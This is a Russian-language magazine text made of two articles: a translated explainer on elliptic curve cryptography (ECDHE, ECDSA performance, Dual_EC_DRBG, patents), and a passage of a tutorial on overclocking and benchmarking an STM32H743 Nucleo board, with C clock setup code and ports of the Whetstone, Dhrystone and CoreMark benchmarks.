матема тики так и не наш ли алго ритм, который решал бы эту проб лему луч ше
прос того перебо ра. Дру гими сло вами, в отли чие от фак ториза ции с ее понят‐ 
ными матема тичес кими осно вани ями,  у  этой проб лемы,  кажет ся,  нет  корот‐ 
кого  решения,  которое  сок ратило  бы  раз рыв  в  TDF.  При  работе  с  чис лами
одной величи ны решить дис крет ный логарифм эллипти чес кой кри вой гораз‐ 
до  труд нее,  чем  раз ложить  чис ло  на  мно жите ли.  А  зна чит,  эллипти чес кие
крип тосис темы креп че RSA и про токо ла Диф фи — Хел лма на.

Что бы  иллюс три ровать,  нас коль ко  креп че,    нес коль ко  лет
назад  пред ста вил  кон цепцию  «Уни вер саль ной  безопас ности»  ( ).  Суть
в том, что бы вычис лить, сколь ко энер гии тра тит ся на взлом крип тогра фичес‐ 
кого  алго рит ма,  и  срав нить  с  тем,  сколь ко  воды  мож но  вски пятить  той  же
энер гией.  Эда кий  крип тогра фичес кий  угле род ный  след.  По  его  рас четам,
на взлом 228‐бит ного RSA‐клю ча тре бует ся мень ше энер гии, чем на кипяче‐ 
ние  одной  чай ной  лож ки  воды.  Для  срав нения:  энер гией,  пот рачен ной
на  взлом  228‐бит ного  ECC‐клю ча,  мож но  вски пятить  всю  воду  на  пла нете.
Что бы добить ся того же уров ня безопас ности c RSA, нужен ключ в 2380 бит.

Арь ен  Ленс тра
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С эллипти чес кой крип тогра фией мож но исполь зовать клю чи мень шей дли‐ 
ны —  и  получать  тот  же  уро вень  безопас ности.  А  малень кие  клю чи  важ ны,
осо бен но  в  мире,  где  все  боль ше  крип тогра фии  на  маломощ ных  девай сах
типа  телефо нов.  Перем ножить  два  прос тых  чис ла  про ще,  чем  раз ложить
резуль тат  на  мно жите ли  —  но,  ког да  прос тые  чис ла  ста новят ся  слиш ком
длин ными,  даже  умно жение  может  занять  на  маломощ ных  устрой ствах
какое‐то  вре мя.  В  прин ципе,  мож но  под держи вать  безопас ность  RSA,  уве‐ 
личи вая дли ну клю чей, — но про изво дитель ность на кли енте от это го сни зит‐ 
ся.  ECC,  кажет ся,  пред лага ет  аль тер нативу  получ ше  —  высокую  безопас‐ 
ность и корот кие быс трые клю чи.

ЭЛЛИПТИЧЕСКИЕ КРИВЫЕ В ДЕЙСТВИИ
Эл липти чес кие кри вые мед ленно зап рягали, но теперь стре митель но набира‐ 
ют популяр ность — и очень быс тро рас простра няют ся. Эллипти чес кую крип‐ 
тогра фию сей час мож но най ти  в  самых раз ных при ложе ниях:  пра витель ство
США исполь зует ее для защиты внут ренних ком муника ций, про ект Tor — что‐ 
бы  обес печить  ано ним ность;  этот  же  механизм  работа ет,  если  нуж но 

,  отпра вить  сооб щение  в 
  и  зашиф ровать  дан ные  DNS  с  помощью  ;  так же  это  пред‐ 

почти тель ный метод аутен тифика ции для безопас ного сер фа через SSL/TLS.
Cloudflare  поль зует ся  ECC,  что бы  обес печить 

 (PFS), которая необ ходима, что бы сох ранить при ват ность в сети.

под‐ 
твер дить  пра во  собс твен ности  на  бит кой ны iMes‐
sage DNSCurve

со вер шенную  пря мую  сек‐ 
ретность

Крип тогра фичес кие алго рит мы пер вого поколе ния вро де RSA и Диф фи —
Хел лма на все еще подой дут для боль шинс тва сфер, но ECC быс тро набира ет
популяр ность  —  как  решение  для  кон фиден циаль нос ти  и  безопас ности
в интерне те.

INFO

Даль ше пой дут чуть уста рев шие све дения и кар‐ 
тинки — из тех вре мен, ког да деревья были выше,
тра ва зеленее, а бра узе ры щед рее делились све‐ 
дени ями о шиф ровании. Зато эти све дения и кар‐ 
тинки наг лядны — так что про лис тывать их не сто‐ 
ит.

Ес ли  ты  откро ешь  HTTPS‐вер сию    через  све жий  Chrome
или  Firefox,  то  твой  бра узер  будет  исполь зовать  эллипти чес кую  крип тогра‐ 
фию. Можешь  убе дить ся  в  этом  сам —  наж ми  на  замок  сле ва  от  адресной
стро ки и выбери вклад ку «Соеди нение».

бло га  Cloudflare

На этой кар тинке нас в пер вую оче редь инте ресу ет текст ECDHE_RSA. ECDHE
рас шифро выва ется как Elliptic Curve Diffie Hellman Ephemeral — это механизм
обме на  клю чами,  пос тро енный  на  эллипти чес ких  кри вых.  В  Cloudflare  он
обес печива ет    на SSL.  А  с  помощью RSA
здесь иден тифици рует ся сер вер.

со вер шенную пря мую сек ретность

Мы  исполь зуем  RSA,  потому  что  SSL‐сер тификат  Cloudflare  при вязан
к паре RSA‐клю чей. Но сов ремен ные бра узе ры под держи вают и сер тифика ты
на эллипти чес ких кри вых. Если бы Cloudflare исполь зовал такой сер тификат,
его  обоз начение  выг лядело  бы  ECDHE_ECDSA.  Иден тифика ция  сер вера
в таком слу чае выпол нялась бы с помощью эллипти чес кого алго рит ма элек‐ 
трон ной под писи (Elliptic Curve Digital Signature Algorithm).

Урав нение эллипти чес кой кри вой для ECDHE, которую исполь зует Cloud‐
flare (и Google.com, кста ти):

max: 115792089210356248762697446949407573530086143415290314195533
631308867097853951  
curve: y² = x³ + ax + b  
a = 115792089210356248762697446949407573530086143415290314195533
631308867097853948  
b = 410583637251521421293261297800472684091144410159937255548352
56314039467401291

Уро вень про изво дитель нос ти ECDSA по срав нению с RSA впе чат ляет. Даже
со ста рыми вер сиями OpenSSL, которые не заточе ны под код эллипти чес ких
кри вых,  ECDSA‐под пись  с  256‐бит ным  клю чом более  чем  в  20  раз быс трее
RSA‐под писи с 2048‐бит ным клю чом.

На MacBook Pro с OpenSSL 0.9.8 тест ско рос ти выда ет:

Doing 256 bit sign ecdsa's for 10s: 42874 256 bit ECDSA signs in 9.
99s
Doing 2048 bit private rsa's for 10s: 1864 2048 bit private RSA's in 
9.99s

То есть с ECDSA за то же вре мя мож но получить в 23 раза боль ше под писей,
чем с RSA.

Cloudflare  пос тоян но  ищет  спо собы  под нять  про изво дитель ность  SSL.
Нап ример, мы начали исполь зовать опти мизи рован ную вер сию ECC, которая
уве личи вает  ско рость  ECDHE  более  чем  в  два  раза.  Эллипти чес кая  крип‐ 
тогра фия  эко номит  вре мя,  мощ ность  и  вычис литель ные  ресур сы —  как  для
сер вера,  так и для бра узе ра — и помога ет нам сде лать сеть одновре мен но
быс трее и безопас нее.

ОБОРОТНАЯ СТОРОНА
Но не все так радуж но в мире эллипти чес ких кри вых — есть и тон кие мес та,
которые меша ют им пол ностью охва тить отрасль.

INFO

При меча ние перевод чика: далее речь сно ва пой‐ 
дет  о  делах  минув ших  дней  —  но  делах  показа‐ 
тель ных.

Од но из них — недав но мель кав ший в новос тях Dual_EC_DRBG  (Dual Elliptic
Curve  Deterministic  Random  Bit  Generator).  Это  генера тор  слу чай ных  чисел,
стан дарти зиро ван ный  Наци ональ ным  инсти тутом  стан дартов  и  тех нологий
США  (NIST),  который  прод вигало  их  же  Агентство  наци ональ ной  безопас‐ 
ности.

Dual_EC_DRBG  генери рует  псев дослу чай ные  чис ла,  исполь зуя  прин цип
эллипти чес ких  кри вых.  Его  алго ритм  берет  точ ки  на  кри вой  и  мно гок ратно
выпол няет  опе рацию  по  соеди нению  этих  точек  —  что бы  получить  новые.
Пос ле его пуб ликации сооб щалось ( ), что в генера тор, воз можно, 

  —  а  зна чит,  пос ледова тель ность  получен ных  чисел  мож но  пол‐ 
ностью пред ска зать, если есть пра виль ный сек ретный ключ.

PDF встро‐ 
ен  бэк дор

Не дав но  ком пания RSA отоз вала  нес коль ко  сво их  про дук тов,  потому  что
Dual_EC_DRBG 

 в их линей ке про дук тов безопас ности. Был генера тор слу чай ных чисел
написан  с  бэк дором  или  нет,  силу  самой  тех нологии  эллипти чес ких  кри вых
это не отме няет — но зато под нима ет воп рос о стан дарти зации. Как мы уже
писали ранее,  нуж но сле дить, 

.

был  уста нов лен  как  дефол тный  генера тор  псев дослу чай ных
чисел

что бы ваша сис тема исполь зовала адек ватно
слу чай ные чис ла

Не кото рые  скеп тичес ки  нас тро енные  крип тогра фы  вооб ще  испы тыва ют
недове рие — и к самому NIST, и к опуб ликован ным им стан дартам, которые
под держа ло  АНБ.  Поч ти  все  широко  при меня емые  эллипти чес кие  кри вые
попада ют  в  эту  катего рию.  Об  ата ках  на  эти  кон крет ные  кри вые  ничего
не  слыш но —  одна ко  пло хие  кри вые  сущес тву ют,  и  некото рые  счи тают,  что
луч ше поберечь ся, чем потом сожалеть.

Есть,  конеч но,  кое‐какой  прог ресс  в  раз работ ке  кри вых  с  эффектив ной
ариф метикой  за  пре дела ми  NIST,  вклю чая  ,  соз данную  Дэни‐ 
елом  Берн штей ном  (djb),  и    Пауло  Барет то
со товари щи, — но до их широко го рас простра нения еще жить и жить. Пока
эти  «нет радици онные»  кри вые  не  встро ят  в  бра узе ры,  их  нель зя  будет
исполь зовать для обес печения безопас ности переда ваемых по сети дан ных.

кри вую  25519
не дав но  вычис ленные  кри вые

Дру гое тон кое мес то ECC свя зано с патен тами. Более 130 патен тов, каса‐ 
ющих ся  кон крет ного  исполь зования  эллипти чес ких  кри вых,  при над лежат
BlackBerry — ведь в 2009 году они при обре ли Certicom. Мно гие из тех патен‐ 
тов  лицен зирова ны  для  экс клю зив ного  исполь зования  час тны ми  ком пани‐ 
ями — и даже АНБ. Некото рые раз работ чики из‐за это го взя ли паузу — что бы
оце нить, не наруша ет ли их работа с ECC эти патен ты. В 2007 году Certicom
подала  иск  про тив Sony — из‐за  нес коль ких  видов  исполь зования  эллипти‐ 
чес ких кри вых, — одна ко в 2009 году иск был откло нен. Сей час уже есть куча
раз ных  реали заций  крип тогра фии  с  эллипти чес кими  кри выми,  которые,
как счи тает ся, не наруша ют эти патен ты — а потому широко исполь зуют ся.

У  циф ровой  под писи  ECDSA  есть  серь езный  недос таток  по  срав нению
с RSA: она  тре бует  хороше го источни ка  энтро пии. Без дос таточ ной слу чай‐ 
нос ти чисел сек ретный ключ могут рас крыть. В 2013 году сла бый генера тор
слу чай ных  чисел  в  Android  поз волил  хакерам  най ти  сек ретный  ключ  ECDSA
и  взло мать  нес коль ко  бит койн‐кошель ков.  У  Sony  PlayStation  была  похожая
уяз вимость. Для элек трон ных под писей нужен хороший генера тор слу чай ных
чисел. Dual_EC_DRBG уж точ но не подой дет.

ЗАГЛЯДЫВАЯ ВПЕРЕД
Впро чем,  недос татки  есть  у  вся кой  тех нологии,  а  вот  дос тоинс тва  ECC
по срав нению с тра дици онной RSA неос поримы — и уже широко приз наны.
Мно гие  экспер ты  бес поко ятся,  что  матема тичес кие  алго рит мы  RSA  и  Диф‐ 
фи — Хел лма на   —
и тог да ECC оста нет ся единс твен ной разум ной аль тер нативой.

мо гут  быть  успешно  взло маны  в  течение бли жай ших  лет

https://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D0%BD%D1%81%D1%82%D1%80%D0%B0,_%D0%90%D1%80%D1%8C%D0%B5%D0%BD
https://eprint.iacr.org/2013/635.pdf
https://en.bitcoin.it/wiki/Elliptic_Curve_Digital_Signature_Algorithm
https://blog.quarkslab.com/imessage-privacy.html
https://en.wikipedia.org/wiki/DNSCurve
http://blog.cloudflare.com/staying-on-top-of-tls-attacks
https://blog.cloudflare.com/
https://blog.cloudflare.com/staying-on-top-of-tls-attacks/
http://rump2007.cr.yp.to/15-shumow.pdf
https://blog.cryptographyengineering.com/2013/09/18/the-many-flaws-of-dualecdrbg/
http://arstechnica.com/security/2013/09/stop-using-nsa-influence-code-in-our-product-rsa-tells-customers/
https://blog.cloudflare.com/ensuring-randomness-with-linuxs-random-number-generator/
http://cr.yp.to/ecdh.html
https://eprint.iacr.org/2013/647
https://www.technologyreview.com/s/517781/math-advances-raise-the-prospect-of-an-internet-security-crisis/
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ТРЮКИ

Про изво дитель нос ти  всег да  не  хва тает.  Не  важ но,  идет  ли
речь  о  ноут буке,  супер компь юте ре,  смар тфо не  или  мик‐ 
рокон трол лере.  Иног да  проб лему  мож но  решить,  прос то
обно вив шись до топово го железа. Но если и его вдруг ока‐ 
залось  недос таточ но,  то  даль ше  оста ется  толь ко  раз гон.
Такая  соб лазни тель ная  воз можность,  что  ей  едва  ли  сто ит
соп ротив лять ся.

Ре шив шись  на  раз гон,  ты  тут  же  стол кнешь ся  с  дву мя  основны ми  проб‐ 
лемами. Во‐пер вых, нуж но как‐то вывес ти железо за штат ный режим работы
и  при  этом  сох ранить  ста биль ность.  Во‐вто рых,  получен ный  при рост  про‐ 
изво дитель нос ти  пред сто ит  еще  чем‐то  замерить,  что бы  оце нить  реаль ную
поль зу от всех ухищ рений.

Ко неч но, если речь идет о раз гоне игро вого ПК, то зачас тую все три виаль‐ 
но. Мно гие про изво дите ли про цес соров и виде окарт выпус кают собс твен ные
ути литы  для  повыше ния  нап ряжения  и  так товых  час тот,  так  что  в  ито ге  все
сво дит ся к переме щению пол зунков в окош ке прог раммы. Пос ле чего оста‐ 
ется толь ко запус тить встро енный в игру бен чмарк и наб людать рост циферок
(FPS име ет зна чение, ага).

Но задумы вал ся ли ты, как это все работа ет на самом деле? И что нуж но
знать,  что бы  дос тичь  по‐нас тояще му  выда ющих ся  резуль татов?  Поп робую
про демонс три ровать на при мере.

АППАРАТНАЯ ЧАСТЬ
Низ коуров невый раз гон железа про ще все го будет показать на обыч ном мик‐ 
рокон трол лере.  Навер няка  ты  зна ком  с  Arduino  —  эта  кро хот ная  пла та
перевер нула  мир  мей керов,  хакеров  и  всех  соп ричас тных.  В  ней  минимум
ком понен тов:  квар цевый  резона тор,  мик росхе ма  ATmega328P  и  регуля тор
питания. И все же это поч ти компь ютер. А зна чит, ее тоже мож но разог нать!

Од нако  сегод ня  я  нас тро ен  на мак сималь ный резуль тат,  и  какие‐то жал‐ 
кие 16 МГц так товой час тоты меня совер шенно не инте ресу ют. Отло жим Ar‐
duino в сто рон ку и возь мем пла ту   на осно ве  .Nucleo‐144 STM32H743

Ес ли  пытать ся  подоб рать  под ходящую  ана логию  из  мира  пер сональ ных
компь юте ров, то перед нами Core i9, вне вся ких сом нений. Ядро ARM (Cortex‐
M7) тут работа ет на оше ломи тель ной час тоте 480 МГц — это ров но в 15 раз
быс трее  ори гиналь ной  Arduino  Uno.  Мало  того,  здесь  раз мещено  два
мегабай та пос тоян ной флеш‐памяти и целый мегабайт ОЗУ. Про изво дитель‐ 
нос ти  добав ляет  кеш прог рамм и  кеш дан ных  (по 16 Кбайт),  а  так же  встро‐ 
енный уско ритель исполне ния кода ART.

Се год ня  сущес тву ют  две  вер сии  такой  отла доч ной  пла ты.  Изна чаль но
в  модель ной  линей ке  Nucleo‐144  появи лась  H743ZI  с  прог рамма тором  ST‐
Link  V2‐1  и  мик рокон трол лером  ревизии  Y.  Она  под держи вала  штат ную
работу «все го лишь» на 400 МГц. Но уже через нес коль ко месяцев про изво‐ 
дитель сумел опти мизи ровать схе му крис талла и начал выпус кать мик рокон‐ 
трол леры Н7 новой ревизии V с базовой час тотой в 480 МГц. Имен но они лег‐ 
ли в осно ву пла ты H743ZI2. Кро ме того, обно вили и прог рамма тор — теперь
это ST‐Link V3E с воз можностью внут рисхем ной эму ляции.

Так что, если будешь выбирать себе такую же пла ту, будь пре дель но вни мате‐ 
лен, внеш не они очень похожи и выпол нены на оди нако во белом тек сто лите.
Да  и  по  дру гим  парамет рам  осо бых  отли чий  нет:  разъ емы  Arduino, Morpho,
Ethernet и интерфейс USB при сутс тву ют на обе их пла тах.

НОВАЯ IDE
Да же  очень  хорошее  железо  может  ока зать ся  бес полез ным,  если  для  него
не будет под ходяще го ПО. К счастью, это понима ют и в ком пании ST Micro‐
electronics, поэто му срав нитель но недав но  там сде лали собс твен ную 

.  Одна ко  сов сем  новой  ее  наз вать  труд но.  По  сути,  это  надс трой ка
над Eclipse, что может обра довать поль зовате лей, зна комых со сре дами Atol‐
lic TrueStudio и AC6 Workbench.

CubeI‐
DE

Ин тегри рован ная  сре да  раз работ ки  не  толь ко  бес плат на  и  дос тупна
на  всех  основных  плат формах  (под держи вают ся  Windows,  Linux  и  macOS),
но  еще  и  поз воля ет  «из  короб ки»  поль зовать ся  сов ремен ными  средс тва ми
отладки  и  трас сиров ки  (OpenOCD,  GDB),  а  так же  нас тра ивать  перифе рию
мик рокон трол лера бук валь но в пару кли ков мыши.

WARNING

При попыт ке отладки при ложе ния на H743ZI2 сре‐ 
да  будет  нас той чиво  тре бовать  обно вить ST‐Link
до  «акту аль ной  вер сии». Делать  это го  ни  в  коем
слу чае не сто ит, по край ней мере если не хочешь
отка тить  про шив ку  самого  прог рамма тора
до  доис торичес кой  вер сии.  Дей стви тель но  акту‐ 
аль ное  обновле ние  ты  смо жешь  накатить  толь ко
при помощи  .ST‐Link Utility

Пос ле  уста нов ки  и  нас трой ки  тул чей на  мож но  перехо дить  к  тес тирова нию.
Нам пред сто ит пор тировать исходные коды бен чмар ков на нашу архи тек туру
и реали зовать пару плат формен но зависи мых фун кций. Так как опе раци онная
сис тема  в  дан ном  слу чае  совер шенно  не  обя затель на,  нуж но  будет  пере‐ 
опре делить фун кцию   для вывода отла доч ной информа ции и фун кцию
текуще го вре мени — для рас чета резуль тата тес тов.

printf

WWW

Ес ли  тебе  боль ше  по  душе  Arduino  IDE,  ты
можешь  сде лать  про ект  в  ней.  Начиная  с  вер‐ 
сии  1.6.0  в  пакет    была  добав лена
под дер жка  пла ты H743ZI2. Зай ди  на GitHub раз‐ 
работ чиков  и  далее  сле дуй  инс трук циям  в  опи‐ 
сании,  что бы  добавить  ссыл ку  для  менед жера
пакетов.

stm32duino

Продолжение статьи →
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НАСТРАИВАЕМ ПРОЕКТ
Пос ле  соз дания  про екта  для  отла доч ной  пла ты  Nucleo‐H743ZI2  нам  нуж но
изме нить нес коль ко нас тро ек по умол чанию.

Ок но нас трой ки перифе рии име ет две полез ные области (на самом деле их
гораз до боль ше, но нас сей час инте ресу ют кон крет но эти): Pinout & Configu‐
ration  и  Clock  Configuration.  Фун кции  перифе рии  мож но  ука зать  из  меню,
выпада юще го по пра вому щел чку мыши. Более тон кая нас трой ка про изво дит‐ 
ся в окне System view. Гра фичес кое пред став ление так тового дерева мож но
най ти во вклад ке Clock Configuration.

Об рати вни мание, что для даль нейшей нас трой ки сис темной час тоты в качес‐ 
тве  основно го  источни ка  будет  исполь зовать ся    (PLL),  так тиру емый
от внеш него квар цевого резона тора HSE. В нашем слу чае он уже находит ся
на отла доч ной пла те и име ет номинал 8 МГц.

ФАПЧ

Мак сималь но  воз можная  так товая  час тота  ядра  и  сис темной  шины
при  этом  может  быть  обес печена  уста нов кой  делите лей    и 

  Зна чение  мно жите ля    пред сто ит  уве личи вать  до  тех  пор,
пока  мик рокон трол лер  будет  работать  ста биль но.  Делите ли  ,  ,

,    и    уста новим  рав ными  двум,  осталь ные  оста вим
по умол чанию.

DIVM1 = 1
.DIVP1 = 7 DIVN1

HPRE D1PRE
D2PPRE1 DRPPRE2 D3PPRE

Нель зя забывать и о питании. Блок ФАПЧ работа ет от линей ного регуля‐ 
тора,  режим  которо го    прог рам мно  зада ет  уро вень  нап‐ 
ряжения  от  1,35  до  0,7  В.  Кро ме  того,  при  необ ходимос ти  мож но  подать
внеш нее питание  , но толь ко если оно не пре выша ет 1,4 В.

[VOS0...VOS5]

Vcore
Как  ты  понима ешь,  повыше ние  нап ряжения  поз воля ет  добивать ся  боль‐ 

ших  так товых  час тот. Это  свя зано с  тем,  что  тран зисто ры  в  схе ме начина ют
быс трее  менять  свое  сос тояние  (сок раща ется  дли тель ность  перед него
и зад него фрон та сиг нала).

INFO

Под робнее  озна комить ся  с  сис темой  питания
мик рокон трол леров  семей ства  STM32H7  мож но
в  раз деле  System  supply  configuration  аппно ута
Smart power management.

Для рас чета вре мени добавим тай мер  . С уста нов ленной кон фигура цией
делите лей он будет работать на час тоте, рав ной полови не сис темной  .
На этом нас трой ку парамет ров мож но завер шить, так что сох раняй уста нов ки
и запус кай генера цию про екта.

TIM2
SYSCLK

Те перь пред сто ит ука зать ком пилятор и ком понов щик. Это мож но про извести
в меню Project → Properties → C/C++ Build → MCU Settings (MCU GCC Com‐
piler,  MCU  GCC  Linker).  При чем  для  чис то  ака деми чес ких  целей  пред лагаю
спер ва оста вить опти миза ции на уров не   (опти миза ция отклю чена).‐O0

На  сле дующем  шаге  нам  нуж но  обес печить  кор рек тную  работу  фун кции
. Для  это го  под клю чаем  заголо воч ный файл    и  добав ляем

клю чик  ком пиляции    для  ком понов щика. Оста ется  толь ко
реали зовать фун кцию вывода сим волов:

printf <stdio.h>
‐u _printf_float

int __io_putchar(int ch) {
 /* Use Instrumentation Trace Macrocell */
 ITM_SendChar((uint32_t) ch);
 return ch;

}

Кро ме того, пере опре делим фун кцию уста нов ки так товой час тоты:

SystemClock_Config(uint32_t* FinalCoreClock) {
 ...
 __HAL_PWR_VOLTAGESCALING_CONFIG(PWR_REGULATOR_VOLTAGE_SCALE0);
 ...
 RCC_OscInitStruct.PLL.PLLM = 1;
 RCC_OscInitStruct.PLL.PLLN = 120; /* @480 MHz */
 RCC_OscInitStruct.PLL.PLLP = 2;
 RCC_OscInitStruct.PLL.PLLQ = 4;
 RCC_OscInitStruct.PLL.PLLR = 2;
 RCC_OscInitStruct.PLL.PLLRGE = RCC_PLL1VCIRANGE_3;
 RCC_OscInitStruct.PLL.PLLVCOSEL = RCC_PLL1VCOWIDE;
 RCC_OscInitStruct.PLL.PLLFRACN = 0;
 if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) {
   Error_Handler();
 }
 ...
 if (HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_14) != 

HAL_OK) {
   Error_Handler();
 }
 ...
 *FinalCoreClock = HSE_CLOCK / 2 * RCC_OscInitStruct.PLL.PLLN;

}

В лис тинге выше осо бый инте рес пред став ляет нас трой ка мно жите ля PLLN,
который  вли яет  на  так товую  час тоту  ядра  (что  самым  непос редс твен ным
обра зом  ска зыва ется  на  про изво дитель нос ти).  Так же  обра ти  вни мание
на про цеду ру выбора источни ка питания для ФАПЧ 

 и уста нов ку тай мин гов для флеш‐памяти  .
__HAL_PWR_VOLTAGESCAL‐

ING_CONFIG HAL_RCC_ClockConfig
Фун кцию нас трой ки  тай мера   мож но реали зовать  сле дующим обра‐ 

зом:
TIM2

static void MX_TIM2_Init(uint32_t CoreClock) {
 ...
 htim2.Instance = TIM2;
 htim2.Init.Prescaler = (CoreClock / (2 * 1000000)) ‐ 1;
 htim2.Init.CounterMode = TIM_COUNTERMODE_UP;
 htim2.Init.Period = 0xFFFFFFFF; /* timer period */
 htim2.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
 htim2.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_ENABLE;
 ...

}

Те перь  в  любой  точ ке  нашего  кода  мы  смо жем  узнать  количес тво  мик‐ 
росекунд, про шед ших с запус ка тай мера. Для это го дос таточ но будет прос то
обра тить ся к регис тру  .TIM2 → CNT

INFO

Во обще говоря, наличие на мик росхе ме активной
сис темы  охлажде ния  из  вен тилято ра  и  кулера
не обя затель но. Убе дить ся в этом помога ет каль‐ 
кулятор питания, в соот ветс твии с которым энер‐ 
гопот ребле ние  не  дол жно  пре высить  200  мА
на  штат ной  час тоте.  Далее  прос тые  рас четы
показы вают,  что  даже  при  квад ратич ной  зависи‐ 
мос ти  нам  нуж но  будет  раз гонять  ФАПЧ  вплоть
до  одно го  гигагер ца,  что бы  приб лизить ся
к «опас ной» отметке в 85 °С.

БЕНЧМАРКИ
Сам по себе раз гон вряд ли кому‐то инте ресен, куда важ нее его резуль таты:
сколь ко  про цен тов  про изво дитель нос ти  реаль но  уда лось  получить  и  поз‐ 
волило ли это уте реть нос соседу. А для это го хорошо бы спер ва догово рить‐ 
ся об общих кри тери ях оцен ки сис темы.

Уди витель но, но это не так‐то прос то. Задачи у всех раз ные, а уж спо собов
их  решения  и  того  боль ше.  К  счастью,  с  годами  вро де  бы  всем  уда лось
догово рить ся, одна ко это была целая исто рия.

Крат кая исто рия про исхожде ния попуга ев
Пер вым  широко  рас простра нен ным  тес том  про изво дитель нос ти  при нято
счи тать Whetstone, который вышел в нояб ре 1972 года. В качес тве эта лон ной
еди ницы изме рения в нем исполь зовал ся 1 MWIPS, соот ветс тву ющий одно му
мил лиону опе раций в секун ду на архи тек туре DEC VAX‐11/780. Тест вклю чал
в  себя  150  прос тых  выраже ний,  раз делен ных  на  восемь  бло ков,  которые
исполня лись в основном цик ле.

Пред полага лось,  что  малый  раз мер  тес та  поз волит  пол ностью  умес тить
его в кеш L1 вычис литель ных машин и игно риро вать пре иму щес тва L2. Whet‐
stone  не  был  рас счи тан  на  исполь зование  опти миза цион ных  ком пилято ров,
что в ито ге при вело к путани це в рас чете резуль татов. Появив шиеся в 1980‐х
«прод винутые» ком пилято ры научи лись опти мизи ровать адресные перехо ды,
вир туаль но уве личи вая про изво дитель ность в тес тах в два раза.

Ес ли тест Whetstone не был при вязан к какой‐либо опе раци онной сис теме
(и  исполнял ся  в  том  чис ле  на  barebone‐плат формах),  то  раз работан ный
в 1984 году  тест Dhrystone пред назна чал ся для оцен ки про изво дитель нос ти
вычис литель ных  сис тем  на  ядре  Unix  и  исполь зовал,  нап ример,  сис темные
биб лиотеч ные фун кции работы со вре менем.

В  отли чие  от  Whetstone,  дела юще го  упор  на  работу  с  чис лами  с  пла‐ 
вающей  точ кой, Dhrystone спе циали зиро вал ся на работе с целочис ленны ми
и стро ковы ми перемен ными. В нас тоящее вре мя для оцен ки про изво дитель‐ 
нос ти дос таточ но широко исполь зует ся вер сия 2.1, которая научи лась боль но
бить ком пилято ры по рукам за любые попыт ки излишней опти миза ции.

Син тетичес кий тест CoreMark при шел на сме ну Dhrystone в 2009 году. Он
вклю чает  в  себя  вычис ление  кон троль ной  сум мы,  работу  со  свя зан ными
спис ками, сор тиров ку и мат ричные опе рации. Таким обра зом, он мак сималь‐ 
но  приб лижен  к  исполня емо му  коду  сов ремен ных  про ектов.  CoreMark
не  исполь зует  сис темные  биб лиоте ки  (его  код  пол ностью  дос тупен  в  виде
исходни ков) и тоже дос таточ но эффектив но борет ся с опти мизи рующей фун‐ 
кци ей ком пилято ров.

На  сегод няшний  день  кон сорци ум  EEMBC  (соз датель CoreMark) — один
из  наибо лее  авто ритет ных  раз работ чиков  син тетичес ких  тес тов  для  мик‐ 
рокон трол леров и устрой ств IoT. Пре дос тавля емые на рас смот рение резуль‐ 
таты  про ходят  про вер ку  и  добав ляют ся  в  рей тинг.  Озна комить ся  с  ним  ты
можешь на сай те EEMBC в раз деле  .CoreMark Scores

Продолжение статьи →
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Пор тиру ем код
Ак туаль ная  вер сия  бен чмар ка Whetstone  вклю чает  в  себя  один  файл 

, сов мести мый c ANSI C89, и щед ро прип равле на мет ками и опе рато‐ 
рами  безус ловно го  перехо да  .  Да,  вот  такая  занят ная  древ ность!  Пор‐ 
тирова ние  зак люча ется  в  пере име нова нии  фун кции  тес та  c    на  дру гое
имя (нап ример,  ). Кро ме того, нуж но не забыть передать ей аргу‐ 
мен ты    (количес тво  пов торений  тес та  в  рам ках  одно го  про гона)  и 

 (общее количес тво про гонов за весь тест).

whet‐
stone.c

goto
main

whetstone
ls to‐

tal_LOOPS

WWW

Ис ходные  коды  опи сан ных  бен чмар ков  есть
на GitHub:
•Whetstone
•Dhrystone
•CoreMark

Ре али зация  бен чмар ка  Dhrystone  2.1  сос тоит  из  трех  фай лов:  ,
  и  .  Так  как  тест  был  раз работан  для  опе раци онных  сис тем

семей ства  Unix,  помимо  пере име новы вания  фун кции    необ ходимо
реали зовать фун кцию   (с исполь зовани ем мак роса  ). Так‐ 
же  нуж но  пере опре делить    (так
как исполь зуемый нами сис темный тай мер работа ет на час тоте 1 МГц и один
отсчет это го тай мера соот ветс тву ет одной мик росекун де).

dhry_1.c
dhry_2.c dhry.h

main
time #define TIME

#define  Mic_secs_Per_Second  1000000.0

Бен чмарк CoreMark реали зован в нес коль ких фай лах, но нас трой ка и пор‐ 
тирова ние тес та про исхо дит в заголо воч ном фай ле с говоря щим наз вани ем

.  Для  кор рек тно го  рас чета  вре мени  необ ходимо  уста новить
мак рооп ределе ния    (раз работ чики  архи тек туры  ARM  рекомен‐ 
дуют подоб рать такое количес тво ите раций, что бы дли тель ность исполне ния
тес та была не менее 30 с) и    (так товая час тота счи тающе го
вре мя тай мера, в нашем слу чае 1 000 000).

core_portme.h
ITERATIONS

CLOCKS_PER_SEC

Пос ле  добав ления  тес тов  в  рабочий  цикл  фун кции  вызова  бен чмар ков
основная  прог рамма  для  оцен ки  про изво дитель нос ти  при мет  сле дующий
вид:

#include <stdio.h> 
#define TOTALCYCLES 10

int main(void) {
 HAL_Init();
 SystemClock_Config(&coreClock);
 printf("System clock: %lu \n\r", coreClock);
 MX_GPIO_Init(); /* Initialize all configured peripherals */
 MX_TIM2_Init(coreClock);
 for (int c = 0; c < TOTALCYCLES; c++) {
   htim2.Instance‐>CNT = 0; /* Reset 32‐bit timer value */
   HAL_TIM_Base_Start(&htim2); /* Start timer */
   printf("======================================\n\r");
   printf("Cycle run: %d\n\r", c);

   printf("Whetstone test ... beginning \n\r");
   whetstone(1000, 10); /* Run Whetstone test */
   printf("Whetstone test ... end \n\r");

   printf("Dhrystone test ... beginning \n\r");
   dhrystone21(10000000); /* Run Dhrystone test */
   printf("Dhrystone test ... end \n\r");

   printf("Coremark test ... beginning \n\r");
   core_main(); /* Run Coremark test */
   printf("Coremark test ... end \n\r");

   HAL_TIM_Base_Stop(&htim2); /* Stop timer */
 }
 HAL_GPIO_WritePin(GPIOB, GPIO_PIN_0, GPIO_PIN_SET);

 while (1);
}

ПОЕХАЛИ!
Пе ред  запус ком  мик рокон трол лера  в  нас трой ках  отладчи ка  ST‐Link  необ‐ 
ходимо  вклю чить  под дер жку  Serial Wire  Viewer  (SWV)  и  ука зать  текущую  так‐ 
